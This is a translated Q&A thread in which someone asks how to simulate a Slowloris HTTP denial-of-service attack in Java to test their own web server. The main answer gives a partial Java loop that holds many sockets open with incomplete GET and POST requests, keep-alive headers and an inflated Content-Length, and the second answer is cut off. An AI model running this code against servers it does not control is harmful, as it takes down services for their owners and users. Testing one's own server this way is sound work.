我需要编写java代码测试,它将在我的Web服务器上模拟Slowloris HTTP DoS攻击。 我找到了一个执行该操作的perl代码:http://ha.ckers.org/slowloris/
我的环境不是常数,这意味着我无法保证在机器上安装了active-perl。 还有另一种方法吗? 有没有办法使用jerl(https://code.google.com/p/jerl/)在没有active-perl安装的情况下执行此操作(也许我可以将所需的库添加到我的java项目中?)?
答案 0 :(得分:1)
switch (dosMethod) {
case GET:
while(!StopWorking)
{
for(int i=0;i<per_Thread;i++)
{
if(socks[i].isConnected())
{
try
{
PrintWriter pw = new PrintWriter(socks[i].getOutputStream());
pw.println("GET / HTTP/1.1");
pw.println("Host: " + hp.getHostText());
pw.println();
pw.flush();
}
catch (Exception e){}
}
else
{
try {
socks[i] = new Socket(InetAddress.getByName(hp.getHostText()), hp.getPort());
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
break;
case POST:
for(int i=0;i<per_Thread;i++)
{
try {
socks[i].close();
} catch (IOException e) {
e.printStackTrace();
}
}
while(!StopWorking)
{
for(int i=0;i<per_Thread;i++)
{
if(socks[i].isConnected())
{
try {
PrintWriter pw = new PrintWriter(socks[i].getOutputStream());
pw.println();
} catch (IOException e) {
e.printStackTrace();
}
}
else
{
try {
socks[i] = new Socket(InetAddress.getByName(hp.getHostText()), hp.getPort());
PrintWriter pw = new PrintWriter(socks[i].getOutputStream());
pw.println("POST / HTTP/1.1");
pw.println("User-Agent: %s");
pw.println("Connection: keep-alive");
pw.println("Keep-Alive: 900");
pw.println("Content-Length: 10000");
pw.println("Content-Type: application/x-www-form-urlencoded");
pw.println();
pw.flush();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
break;
}
其中socks是一个套接字数组(Socket [] socks = new Socket [connsperthread];
答案 1 :(得分:0)
你可以使用用c ++ {{3p>